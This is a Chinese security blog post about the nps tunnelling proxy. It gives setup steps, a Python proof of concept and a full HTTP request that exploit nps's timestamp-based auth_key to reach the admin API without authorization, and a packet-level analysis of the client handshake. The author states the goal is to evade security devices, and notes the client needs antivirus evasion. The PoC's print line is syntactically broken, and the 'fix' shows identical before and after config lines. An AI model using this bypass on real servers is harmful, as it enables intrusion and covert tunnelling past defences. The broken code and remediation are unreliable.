nps之Socks流量分析以及未授权复现

admin 2022年10月1日21:58:50评论84 views字数 2767阅读9分13秒阅读模式
前言

因为想要写一个socks的流量算法去绕过安全设备,所以这里对nps的流量特征总结一下,方便自己后期的魔改。

环境

ubuntu 16.04  vps  server

windows server 2012R2  clinet

mkdir nps
cd nps
wget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz
tar -zxvf linux_amd64_server.tar.gz
./nps install

nps之Socks流量分析以及未授权复现



cd /etc/nps/conf/
vim nps.conf

配置文件

#web
web_host=a.o.com
web_username=xxxx    //管理端用户名
web_password=xxxxxx  //管理端密码
web_port = xxxxx     //管理端端口
web_ip=0.0.0.0
web_base_url=
web_open_ssl=false
web_cert_file=conf/server.pem
web_key_file=conf/server.key
#web_base_url=/nps

nps之Socks流量分析以及未授权复现


##bridge
bridge_type=tcp   //客户端连接协议tcp
bridge_port=xxxx  //客户端连接端口
bridge_ip=0.0.0.0

nps之Socks流量分析以及未授权复现


bridge_port的默认端口默认为8024,这里不建议改为默认的,连接客户端的时候可能会触发安全设备规则

NPS未授权复现

POC

#encoding=utf-8
import time
import hashlib
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()

print("Index/Index?auth_key=%s&timestamp=%s" % (auth_key,int(now))

直接访问

http://vps:port?payload


nps之Socks流量分析以及未授权复现

exp请求接口

POST /client/list HTTP/1.1
Host: vps:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 98
Origin: http://vps:port
Connection: close
Referer: http://vps:port/client/list

search=&order=asc&offset=0&limit=10&auth_key=805df7d1f7bf3b662939ca091174e6b4&timestamp=1659948547

nps之Socks流量分析以及未授权复现

参考链接:

https://mp.weixin.qq.com/s/PTq01wcV4XJwutbSjHjfvA

修复措施

vim /etc/nps/conf/nps.conf取消注释auth_key,添加auth_crypt_key`注释

auth_key=test #auth_crypt_key =!QAZ4rfv%TGB^YHN

修改为

auth_key=test #auth_crypt_key =!QAZ4rfv%TGB^YHN

nps之Socks流量分析以及未授权复现


目前最新版本的也存在改配置不当问题,这里需要修改配置,修复之后是无法通过未授权读取内容信息的。

socks流量分析

nps start

访问http://vps:port/login

nps之Socks流量分析以及未授权复现

新增客户端

nps之Socks流量分析以及未授权复现


这里用户名和密码随意,这里是客户端登录的认证用户名,在客户端连接的时候是根据密钥来实现的。

nps之Socks流量分析以及未授权复现


客户端选择windwos server 2012R2

修改客户端配置文件

[common]
server_addr=vps:port
conn_type=tcp
vkey=xxxx
auto_reconnection=true
max_conn=1000
flow_limit=1000
rate_limit=1000
basic_username=11
basic_password=3
web_username=xxxx    
web_password=xxxxx
crypt=true
compress=true
#pprof_addr=0.0.0.0:9999
disconnect_timeout=60

客户端启动

npc.exe -server=vps:port -vkey=xxxxx -type=tcp

正常情况下会报毒,所以这里针对杀软这一块儿,客户端需要做一下免杀处理。

nps之Socks流量分析以及未授权复现


查看连接状态

nps之Socks流量分析以及未授权复现

nps之Socks流量分析以及未授权复现


使用goby测试socks5

nps之Socks流量分析以及未授权复现


测试代理

nps之Socks流量分析以及未授权复现


已成功实现内网穿透。

这里使用wireshark抓取流量包,

初始流量服务器向客户端发送TST

nps之Socks流量分析以及未授权复现


同时客户端向服务端确认版本,同时返回客户端版本0.26.0

nps之Socks流量分析以及未授权复现

代码位置nps/lib/version/version.go

nps之Socks流量分析以及未授权复现


服务端接收到请求后,客户端请求的数据内容为nps的版本为0.26.10

nps之Socks流量分析以及未授权复现


服务端接收到请求后返回给客户端服务端版本的md5值,即

md5(0.26.0)=89a4f3fc3c89257d6f712de6964bda8e

可以发现在产生nps客户端连接的时候,会产生数据校验,这里数据校验就是有服务器到

nps之Socks流量分析以及未授权复现


这是客户端传输给服务端密钥连接

md5(vkey)

nps之Socks流量分析以及未授权复现


服务端在接收到客户端的请求后校验数据后返回success

nps之Socks流量分析以及未授权复现


这里客户端和服务端的连接流量就比较清晰了,那么想要bypass安全设备的告警,在修改加密方式和修改版本关键字即可,因为在做流量隐藏的时候跟bypassav不一样,不会考虑文件的哈希以及文件在沙箱中的落地状态。

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:[email protected]

文章类型:黑客极客技术、信息安全热点安全研究分析安全相关

通过审核并发布能收获200-800元不等的稿酬。


更多详情,点我查看!

nps之Socks流量分析以及未授权复现
限时免费靶场实操,戳“阅读原文“

原文始发于微信公众号(合天网安实验室):nps之Socks流量分析以及未授权复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月1日21:58:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   nps之Socks流量分析以及未授权复现https://cn-sec.com/archives/1305492.html

发表评论

匿名网友 填写信息